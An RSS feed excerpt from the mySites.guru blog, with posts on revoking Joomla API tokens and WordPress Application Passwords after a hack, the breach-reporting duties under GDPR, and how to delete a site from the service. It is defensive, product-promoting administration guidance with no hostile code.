&lt;div&gt;&lt;span&gt;Not yet public.&lt;/span&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Should You Also Switch the Joomla API Off?&lt;/h2&gt;
&lt;p&gt;If nothing on the site needs it, yes, and it is worth doing alongside a token revoke rather than instead of it. Revoking tokens clears the credential. &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/&quot;&gt;Switching the API off&lt;/a&gt; removes the whole surface those credentials authenticate against, including Basic authentication if it is enabled and any third-party webservices plugin. mySites.guru’s revoke tool has a switch for exactly this, right next to the token revoke, so both happen in the same pass.&lt;/p&gt;
&lt;h2&gt;What Automated Core Updates Change About This&lt;/h2&gt;
&lt;p&gt;If the site runs Joomla 5.4 or later with &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;Automated Core Updates&lt;/a&gt; switched on, there is a second credential worth handling at the same time: the &lt;code&gt;update_token&lt;/code&gt; that authenticates Joomla’s own update server calling back into &lt;code&gt;/api/index.php/v1/joomlaupdate/&lt;/code&gt;. It is a different mechanism to a user’s API token, registered with &lt;code&gt;autoupdate.joomla.org&lt;/code&gt; rather than issued from a profile, but it lives on the same API surface, and mySites.guru’s revoke tool can rotate it and re-register the site in the same action that clears the tokens. Joomla 4 and Joomla 5.0 to 5.3 have no automated updates, so this step does not apply to them.&lt;/p&gt;
&lt;h2&gt;Does Revoking Tokens Stop the Site From Being Hacked Again?&lt;/h2&gt;
&lt;p&gt;No, and nothing here replaces working out how the attacker got in. Removing tokens closes one specific door, a credential a password reset never touches. It does not remove a rogue admin account, a webshell, or the vulnerable extension that let someone in to begin with. Pair it with &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;finding rogue admin accounts across every Joomla site you manage&lt;/a&gt; and, for the file side of the cleanup, our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;guide to cleaning a hacked Joomla or WordPress site&lt;/a&gt;. If you would rather hand the whole thing to someone, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a single fixed fee of £120 per incident, usually same day, and non-subscribers get a free month included.&lt;/p&gt;
&lt;h2&gt;The Step After the Technical Cleanup: Do You Need to Report a Breach?&lt;/h2&gt;
&lt;p&gt;Every checklist covered so far, ours included until this post, stops at the technical fix: patch the hole, remove the malware, revoke the credentials. None of it asks the other question a hack can raise, which is whether someone outside your team now has to be told.&lt;/p&gt;
&lt;p&gt;If there is a reasonable chance an attacker used a live API token to read personal data, usernames, email addresses, order records, anything that identifies a real person, that is very likely a personal data breach under UK GDPR, or the equivalent under the EU GDPR for an EU-established controller, or your own jurisdiction’s data protection law elsewhere. The law does not care how the data was read. An API token pulling the users endpoint for three weeks and a defaced homepage are both a breach if personal data was exposed, and only the second one looks like an incident.&lt;/p&gt;
&lt;p&gt;Two duties then run on their own clock, alongside the technical cleanup rather than after it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tell your supervisory authority. In the UK that is the &lt;a href=&quot;https://ico.org.uk/for-organisations/report-a-breach/personal-data-breach/&quot;&gt;Information Commissioner’s Office&lt;/a&gt;, and the rule is 72 hours from when you become aware of the breach, not from when the token was first created, unless the breach is unlikely to put anyone’s rights and freedoms at risk.&lt;/li&gt;
&lt;li&gt;Tell the people affected, without undue delay, if the breach is likely to result in a high risk to them, for example because what leaked could be used for fraud or identity theft.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Working out whether either duty applies takes evidence the cleanup already produces: when the token was issued, what endpoints it could reach, and how long it went unnoticed. That is one more reason to revoke it and write down what you found in the same sitting, rather than treating the technical fix as the end of the incident. This is not legal advice, and the thresholds differ by jurisdiction, so involve whoever handles data protection for the business, or a solicitor, rather than deciding it alone from a blog post.&lt;/p&gt;
&lt;h2&gt;Where mySites.guru Fits&lt;/h2&gt;
&lt;p&gt;Token revocation is a five-minute job on one site and a real, recurring cost across a portfolio, especially since it is the step every generic checklist leaves out. A mySites.guru subscription covers the rest of what a hack response needs from one dashboard:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Rogue Super Admin accounts&lt;/a&gt; are flagged on every connected Joomla site automatically, with a one-click delete.&lt;/li&gt;
&lt;li&gt;Installed extensions are matched against our &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla vulnerability database&lt;/a&gt;, so the extension that let the attacker in the first time gets flagged before it happens again.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Backups run before every mass change&lt;/a&gt;, so a revoke, a Joomla update, or an extension update on a whole portfolio is never a one-way action.&lt;/li&gt;
&lt;li&gt;Sites still on an end-of-life Joomla version, &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;where the API’s known flaws have no fix available&lt;/a&gt;, are flagged so you know where the risk actually sits.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See the plans&lt;/a&gt;, or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what it finds.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/27021&quot;&gt;Pull request #27021, joomla-cms&lt;/a&gt; - the change that added Joomla API Token authentication.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cystack.net/research/security-joomla-rest-api&quot;&gt;CyStack: Security Research on the Joomla REST API&lt;/a&gt; - the SQL injection and access-control flaws fixed in Joomla 5.4.4 and 6.0.4.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot;&gt;Joomla Security Checklist: You have been hacked or defaced&lt;/a&gt; - Joomla&apos;s own cleanup checklist.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5846-joomla-4-0-and-joomla-3-10-are-here.html&quot;&gt;Joomla 4.0 and Joomla 3.10 release announcement&lt;/a&gt; - the release that shipped the API and token authentication live.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>api tokens</category><category>hacked</category><category>hack detection</category><enclosure url="https://mysites.guru/img/og/blog/how-to-revoke-joomla-api-tokens-after-a-hack.png" length="0" type="image/png"/></item><item><title>How to Revoke Every WordPress Application Password After a Hack</title><link>https://mysites.guru/blog/how-to-revoke-wordpress-application-passwords-after-a-hack/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-revoke-wordpress-application-passwords-after-a-hack/</guid><description>A WordPress password reset never revokes Application Passwords. How to remove every one after a hack, one profile at a time or in one click with mySites.guru.</description><pubDate>Tue, 29 Sep 2026 12:45:05 GMT</pubDate><content:encoded>&lt;p&gt;You clean up a hacked WordPress site the right way. Remove the malware, patch the plugin that let it in, change every password, force everyone to log back in. Weeks later something is still pulling data through the REST API, using a credential no one remembers issuing.&lt;/p&gt;
&lt;p&gt;Application Passwords are not your login password. They are a separate credential, stored in their own place, and a password reset does not touch them. One created during a compromise keeps authenticating REST API requests exactly as before, right through a cleanup that changed every password on the site and never looked at it.&lt;/p&gt;
&lt;h2&gt;Revoke Every Application Password From mySites.guru in One Click&lt;/h2&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/tools/post-hack-recovery/revoke-api-keys/&quot;&gt;&lt;strong&gt;Revoke Every Application Password After a Hack&lt;/strong&gt;&lt;/a&gt; tool clears every Application Password on a site, across every user, in a single action. It is a manual tool you run when you need it rather than a background check, reached from the tool finder (Cmd-K, or Ctrl-K on Windows) or the link on a hacked site’s card.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Revoke every password&lt;/dt&gt;&lt;dd&gt;Deletes every user&apos;s Application Passwords on the site in one action, not one profile at a time.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;The core method runs first&lt;/dt&gt;&lt;dd&gt;It calls WordPress&apos;s own delete_all_application_passwords() for each user, so the standard wp_delete_application_password action still fires and any security plugin still logs it.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Then it checks the raw data&lt;/dt&gt;&lt;dd&gt;It re-reads each user&apos;s usermeta afterwards. If a filter on a compromised site blocked the delete without saying so, it writes an empty value directly and tells you it had to.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Log everyone out&lt;/dt&gt;&lt;dd&gt;A separate, optional step that ends every session token as well. Off by default, because it also ends your own session if you reached the site through mySites.guru.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;That second check matters more here than it would on a clean site. A site that is actively compromised can have a malicious filter on &lt;code&gt;update_user_metadata&lt;/code&gt; that reports success while writing nothing, which is exactly the failure mode a normal admin-screen click cannot see. Calling the real WordPress function first means the usual hooks and logging still fire; reading the raw row afterwards means a lie from a compromised filter does not end the story.&lt;/p&gt;
&lt;p&gt;The same double-check runs for the logout step: WordPress’s own &lt;code&gt;WP_Session_Tokens::destroy_all()&lt;/code&gt; for each user, a raw re-count, and a direct delete of anything still sitting in the sessions table.&lt;/p&gt;
&lt;h2&gt;What Are WordPress Application Passwords?&lt;/h2&gt;
&lt;p&gt;Application Passwords are per-user credentials for the WordPress REST API, XML-RPC and WP-CLI, authenticated over standard HTTP Basic Auth without exposing the account’s real login password. WordPress core added them in version 5.6, &lt;a href=&quot;https://make.wordpress.org/core/2020/11/05/application-passwords-integration-guide/&quot;&gt;announced on Make WordPress Core in November 2020&lt;/a&gt; and released that December.&lt;/p&gt;
&lt;p&gt;Each one is stored under &lt;code&gt;_application_passwords&lt;/code&gt; in that user’s usermeta, as a bcrypt hash alongside a name, a created date, a last-used timestamp and the last IP address that used it, &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/application-passwords/&quot;&gt;per WordPress’s own documentation&lt;/a&gt;. WordPress hashes the password the same way it hashes a login password, but that is where the resemblance to your login credential ends: the two are unrelated values, generated independently, and changing one has no effect on the other.&lt;/p&gt;
&lt;h2&gt;Why a Password Reset Does Not Touch Them&lt;/h2&gt;
&lt;p&gt;A password change updates the &lt;code&gt;user_pass&lt;/code&gt; column. An Application Password lives entirely in usermeta and is never read or written when &lt;code&gt;user_pass&lt;/code&gt; changes, so the two operations simply never meet. &lt;a href=&quot;https://www.trustedlogin.com/2026/09/07/revoke-admin-access-wordpress/&quot;&gt;Recovery guidance from TrustedLogin&lt;/a&gt; makes the same point: reviewing and revoking Application Passwords is a distinct step from a password reset, not a side effect of one.&lt;/p&gt;
&lt;p&gt;Most general hack-recovery checklists still lead with “change every password” and leave it there, because that instruction covers the credential people think about first. Application Passwords were built specifically so that automated tools, mobile apps and integrations would not need the account’s real password at all, which is exactly why revoking the real password leaves them completely unaffected.&lt;/p&gt;
&lt;p&gt;Those same checklists also stop at the technical fix, every one we have found. Whether anyone outside your own team now has to be told what an Application Password could reach is a separate question, and it gets its own section near the end of this post, not because it matters least.&lt;/p&gt;
&lt;h2&gt;How Do You Revoke Application Passwords by Hand?&lt;/h2&gt;
&lt;p&gt;WordPress core already has a revoke button, and it is worth knowing exactly what it covers before assuming it solves this for a whole site:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In wp-admin, go to &lt;strong&gt;Users&lt;/strong&gt;, then &lt;strong&gt;All Users&lt;/strong&gt;, and click &lt;strong&gt;Edit&lt;/strong&gt; on the account you want to check.&lt;/li&gt;
&lt;li&gt;Scroll to the &lt;strong&gt;Application Passwords&lt;/strong&gt; section of that user’s profile.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Revoke&lt;/strong&gt; next to a single password to remove just that one, or &lt;strong&gt;Revoke All Application Passwords&lt;/strong&gt; at the bottom of the list to clear every password that user holds.&lt;/li&gt;
&lt;li&gt;Repeat for every user on the site. The button only ever acts on the profile you are currently viewing, so there is no way to reach every user’s passwords from one screen.&lt;/li&gt;
&lt;li&gt;Confirm from outside with the old credential:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -u&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;username:revoked-app-password&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; https://example.com/wp-json/wp/v2/users/me&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A revoked password answers 401. If you manage sites from the command line, WP-CLI has a per-user equivalent, &lt;code&gt;wp user application-password delete &amp;lt;id&amp;gt; --all&lt;/code&gt;, which is faster to run in a loop than clicking through wp-admin but is still a per-user command, not a site-wide one.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Core&apos;s Revoke All button is real, and it is scoped to one profile&lt;/p&gt;&lt;div&gt;&lt;p&gt;It is not a missing feature so much as a design choice: Application Passwords live under each user’s own profile because that is where a person manages their own credentials. Nothing in WordPress core was ever built to act on every user’s passwords from a single screen, so a site-wide clean-up step means visiting every profile in turn.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Is There a Site-Wide Revoke in Any Security Plugin?&lt;/h2&gt;
&lt;p&gt;Not one that revokes every user’s existing Application Passwords in a single click, as far as we have found. Wordfence can disable Application Passwords entirely, which blocks new ones and stops existing ones from authenticating, but that is a different action from clearing them out, and it stays in effect as a standing restriction rather than a one-time cleanup step. If a plugin you use does offer a real site-wide revoke, treat that as a reason to check it works the way this post describes: calling WordPress’s real deletion function first, then verifying the raw data, not just clearing a list on screen.&lt;/p&gt;
&lt;h2&gt;What About WooCommerce REST API Keys?&lt;/h2&gt;
&lt;p&gt;Left alone, on purpose. WooCommerce API keys are a separate credential system with their own storage and their own revoke screen under WooCommerce’s settings, distinct from core Application Passwords. mySites.guru’s tool does not touch them, so if a hacked site also runs a WooCommerce store with API keys issued to an integration, revoke those separately, one at a time, from WooCommerce’s own API keys list.&lt;/p&gt;
&lt;h2&gt;Does Revoking Application Passwords Stop the Site Being Hacked Again?&lt;/h2&gt;
&lt;p&gt;No. It closes one specific door, a REST API credential that a password reset and a file cleanup both leave standing. It does not remove malware, patch the plugin that let someone in, or clean up an account an attacker planted. Pair it with &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;cleaning up a hacked WordPress or Joomla site&lt;/a&gt; and our guide to &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;checking whether your WordPress site is actually hacked&lt;/a&gt; if you are still confirming what happened. If you would rather hand the whole thing to someone, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a single fixed fee of £120 per incident, usually same day, and non-subscribers get a free month included.&lt;/p&gt;
&lt;h2&gt;The Step After the Technical Cleanup: Do You Need to Report a Breach?&lt;/h2&gt;
&lt;p&gt;Every checklist covered so far, ours included until this post, stops at the technical fix: remove the malware, patch the plugin, revoke the credentials. None of it asks the other question a hack can raise, which is whether someone outside your team now has to be told.&lt;/p&gt;
&lt;p&gt;If there is a reasonable chance an attacker used a live Application Password to read personal data through the REST API, customer names, email addresses, order records from a WooCommerce store, anything that identifies a real person, that is very likely a personal data breach under UK GDPR, or the equivalent under the EU GDPR for an EU-established controller, or your own jurisdiction’s data protection law elsewhere. The law does not care that the credential looked legitimate. An Application Password pulling the orders endpoint unnoticed for a month and a defaced homepage are both a breach if personal data was exposed, and only the second one looks like an incident.&lt;/p&gt;
&lt;p&gt;Two duties then run on their own clock, alongside the technical cleanup rather than after it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tell your supervisory authority. In the UK that is the &lt;a href=&quot;https://ico.org.uk/for-organisations/report-a-breach/personal-data-breach/&quot;&gt;Information Commissioner’s Office&lt;/a&gt;, and the rule is 72 hours from when you become aware of the breach, not from when the password was first created, unless the breach is unlikely to put anyone’s rights and freedoms at risk.&lt;/li&gt;
&lt;li&gt;Tell the people affected, without undue delay, if the breach is likely to result in a high risk to them, for example because what leaked could be used for fraud or identity theft.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Working out whether either duty applies takes evidence the cleanup already produces: when the password was created, what it could reach through the REST API, and how long it went unnoticed. That is one more reason to revoke it and write down what you found in the same sitting, rather than treating the technical fix as the end of the incident. This is not legal advice, and the thresholds differ by jurisdiction, so involve whoever handles data protection for the business, or a solicitor, rather than deciding it alone from a blog post.&lt;/p&gt;
&lt;h2&gt;Where mySites.guru Fits&lt;/h2&gt;
&lt;p&gt;Checking every user’s Application Passwords by hand does not scale past one or two sites, which is exactly when it stops happening. A mySites.guru subscription covers the rest of a hack response from one dashboard:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The WordPress checks covered in &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;five new checks for WordPress hacks a file scan cannot see&lt;/a&gt; find rogue and hidden administrator accounts on every connected site automatically.&lt;/li&gt;
&lt;li&gt;Installed plugins and themes are matched against known vulnerabilities, so the entry point that led to the compromise gets flagged before it happens again.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Backups run before any mass change&lt;/a&gt;, so revoking credentials or updating a whole portfolio at once is never a one-way action.&lt;/li&gt;
&lt;li&gt;Every connected site gets the same post-hack tools, so a response that would mean visiting every user’s profile on every site becomes one action per site instead.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See the plans&lt;/a&gt;, or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what it finds.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2020/11/05/application-passwords-integration-guide/&quot;&gt;Application Passwords: Integration Guide, Make WordPress Core&lt;/a&gt; - the original announcement ahead of WordPress 5.6.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/application-passwords/&quot;&gt;Application Passwords, WordPress Advanced Administration Handbook&lt;/a&gt; - the official reference for how they work and where they are stored.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_application_passwords/delete_all_application_passwords/&quot;&gt;WP_Application_Passwords::delete_all_application_passwords(), WordPress Developer Reference&lt;/a&gt; - the core method behind the per-user Revoke All button.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.trustedlogin.com/2026/09/07/revoke-admin-access-wordpress/&quot;&gt;How to revoke admin access from someone who no longer needs it, TrustedLogin&lt;/a&gt; - on Application Passwords staying active after a password change.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>application passwords</category><category>hacked</category><category>hack detection</category><enclosure url="https://mysites.guru/img/og/blog/how-to-revoke-wordpress-application-passwords-after-a-hack.png" length="0" type="image/png"/></item><item><title>How to Delete a Site From mySites.guru</title><link>https://mysites.guru/blog/how-to-delete-a-site-from-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-delete-a-site-from-mysites-guru/</guid><description>Deleting a site from mySites.guru is permanent, wiping its alerts, monitors and backups, but not the connector plugin or your subscription. Step by step.</description><pubDate>Tue, 29 Sep 2026 12:00:50 GMT</pubDate><content:encoded>&lt;p&gt;You retire a client site, an agency contract ends, or a test install has outlived its purpose, and now it’s sitting in your mySites.guru Sites list doing nothing but taking up a row. Removing it is a short job, but the confirmation screen is built to slow you down first, and most people get a couple of things wrong about what deleting a site does.&lt;/p&gt;
&lt;h2&gt;Step by step: deleting a site&lt;/h2&gt;
&lt;h3&gt;1. Open the site’s Manage page&lt;/h3&gt;
&lt;p&gt;From your Sites list, click into the site you want to remove. That takes you to its Manage page, with the row of tabs (Important, Health, Manage, Alert, Activity, Notes) across the top.&lt;/p&gt;
&lt;h3&gt;2. Open Config, then Advanced&lt;/h3&gt;
&lt;p&gt;In the top right of that tab bar is a small pill labelled &lt;strong&gt;Config&lt;/strong&gt;, with a gear icon. Click it, then open the &lt;strong&gt;Advanced&lt;/strong&gt; sub-tab (alongside Site Basics and Connection &amp;amp; Security).&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-delete-a-site-from-mysites-guru-config-tab.BvdS6lB8_Z13cup6.webp&quot; alt=&quot;The mySites.guru site Manage page tab bar, with the Config pill and gear icon highlighted in the top right corner&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;86&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h3&gt;3. Find the Danger Zone&lt;/h3&gt;
&lt;p&gt;On the Advanced sub-tab is a red-bordered &lt;strong&gt;Danger Zone&lt;/strong&gt; section with one option in it: &lt;strong&gt;Delete This Site&lt;/strong&gt;. Click &lt;strong&gt;Delete Site&lt;/strong&gt;.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-delete-a-site-from-mysites-guru-danger-zone.Bl_GBs8q_ZB3vwo.webp&quot; alt=&quot;The Danger Zone section on a mySites.guru site&apos;s settings page, with a red Delete Site button next to a warning that deletion permanently removes the site and all its data&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;223&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h3&gt;4. Type the hostname to confirm&lt;/h3&gt;
&lt;p&gt;This opens a confirmation screen that spells out what’s about to happen: the site, its alerts, monitors, audit history and backups are all removed, permanently. Underneath, it also states what it will &lt;em&gt;not&lt;/em&gt; do (more on that below). Type the site’s exact hostname into the field. The red &lt;strong&gt;Delete site&lt;/strong&gt; button stays disabled, greyed out, until what you’ve typed matches.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-delete-a-site-from-mysites-guru-confirm-empty.CVcztFN3_Z2qJQzX.webp&quot; alt=&quot;The mySites.guru delete confirmation screen, showing the warning text and an empty hostname confirmation field with the red Delete site button disabled&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;958&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;Once it matches, a checkmark appears and the button goes live.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-delete-a-site-from-mysites-guru-confirm-matched.BBzd8j_Z_Z1XTSUP.webp&quot; alt=&quot;The same confirmation screen after typing the correct hostname, showing a green checkmark and the red Delete site button now enabled&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;958&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h3&gt;5. Click Delete site&lt;/h3&gt;
&lt;p&gt;Click it, and the site is gone immediately. You’re returned to your Sites list with a confirmation that it’s been removed.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-delete-a-site-from-mysites-guru-success.y2TKUPjm_5u277.webp&quot; alt=&quot;The mySites.guru Sites list showing a green Removed site successfully confirmation banner after deleting a site&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;79&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h2&gt;What deleting a site does not do&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;Deleting a site doesn&apos;t remove the connector plugin or cancel your subscription&lt;/p&gt;&lt;div&gt;&lt;p&gt;Two assumptions catch people out. First, the connector plugin stays installed on your CMS: &lt;a href=&quot;https://mysites.guru/terms/#delete-sites&quot;&gt;removing it is your responsibility&lt;/a&gt;, done through your site’s own plugin manager, same as any other plugin. Second, deleting a site has no effect on billing. If you’re on a paid plan, your subscription keeps running exactly as it was.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you’re closing an account down rather than tidying up one site, delete the sites you want gone first, then cancel your &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt; separately. Sites left on your account when you cancel just sit there, disconnected but intact, and that’s on purpose: a lot of customers come back after a break, and leaving sites attached means they don’t have to reconnect everything from scratch. It also stops anyone else claiming that domain on their own account in the meantime.&lt;/p&gt;
&lt;h2&gt;What actually happens when you click delete&lt;/h2&gt;
&lt;p&gt;This isn’t a soft delete or a status flag. Every site connected to mySites.guru has &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;its own unique encryption key pair&lt;/a&gt;, split between our side and the connector plugin on your server. Deleting the site destroys our half of that pair immediately, so &lt;a href=&quot;https://mysites.guru/terms/#delete-sites&quot;&gt;we can’t reach your site again even if we wanted to&lt;/a&gt;. Add the same domain back later and it arrives as a brand new site with a brand new connector, with no history, because there’s nothing left on our end to link the two.&lt;/p&gt;
&lt;p&gt;On the data side, everything specific to that site (alerts, monitors, &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;audit history&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt;) comes off the live service straight away. We keep &lt;a href=&quot;https://mysites.guru/terms/#gdpr&quot;&gt;a one-way cryptographic hash of the domain name&lt;/a&gt;, which can’t be reversed back into the domain, purely so we can recognise a previously connected domain if fraud or a legal request ever requires it.&lt;/p&gt;
&lt;h2&gt;Site won’t connect? There’s a shortcut&lt;/h2&gt;
&lt;p&gt;If mySites.guru currently can’t reach a site at all, you don’t need to go through Config first. The Sites list itself shows a &lt;strong&gt;Delete&lt;/strong&gt; button directly on that row, right next to &lt;strong&gt;Reconnect&lt;/strong&gt;, and both jump straight to the same confirmation screen. That’s worth knowing if you’re working through a &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;disconnected sites count&lt;/a&gt; on your dashboard.&lt;/p&gt;
&lt;p&gt;It’s also mySites.guru’s own recommended fix when a connector is permanently dead rather than just misconfigured: the reconnect wizard’s diagnosis leads with &lt;strong&gt;Delete this site &amp;amp; install a fresh connector&lt;/strong&gt;, because a dead connector can’t be fixed by retrying. That’s the same delete-then-reconnect pattern used when &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migrating a site to a newer connector for Joomla 4&lt;/a&gt;, and it comes with the same reminder: delete the site in mySites.guru, then go and remove the old plugin from the site too. One without the other leaves half the job done.&lt;/p&gt;
&lt;h2&gt;Do I need to remove the connector plugin too?&lt;/h2&gt;
&lt;p&gt;If you want the site completely clear of mySites.guru, yes. Deleting the site here never touches your server, so the plugin (&lt;code&gt;bfnetwork&lt;/code&gt; inside a Joomla plugin, or bundled inside the &lt;code&gt;mywpguru&lt;/code&gt; plugin on WordPress) is still sitting in your plugins folder afterwards. It’s &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;inert once the site is deleted&lt;/a&gt;, since the encryption key it relies on no longer works, but inert isn’t the same as gone. Remove it the same way you’d remove any other plugin: through Joomla’s Extensions manager or WordPress’s Plugins screen.&lt;/p&gt;
&lt;p&gt;If you skip this step, nothing breaks. The plugin just sits there doing nothing until your next spring clean.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/terms/#delete-sites&quot;&gt;Deleting your sites yourself, mySites.guru Terms&lt;/a&gt; - the full policy on site deletion, encryption keys and where the connector plugin&apos;s files live on disk.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/dpa/#deletion&quot;&gt;Data retention on deletion, mySites.guru DPA&lt;/a&gt; - what&apos;s removed immediately and the narrow, encrypted exceptions we&apos;re legally required to keep.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/plugin-basics/&quot;&gt;Managing Plugins, WordPress Developer Handbook&lt;/a&gt; - deleting a plugin through wp-admin, for removing the connector afterwards.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/getting-started/basic-concepts/extensions/&quot;&gt;Managing Extensions, Joomla Documentation&lt;/a&gt; - uninstalling a plugin through the Joomla administrator.&lt;/li&gt;
&lt;/ul&gt;
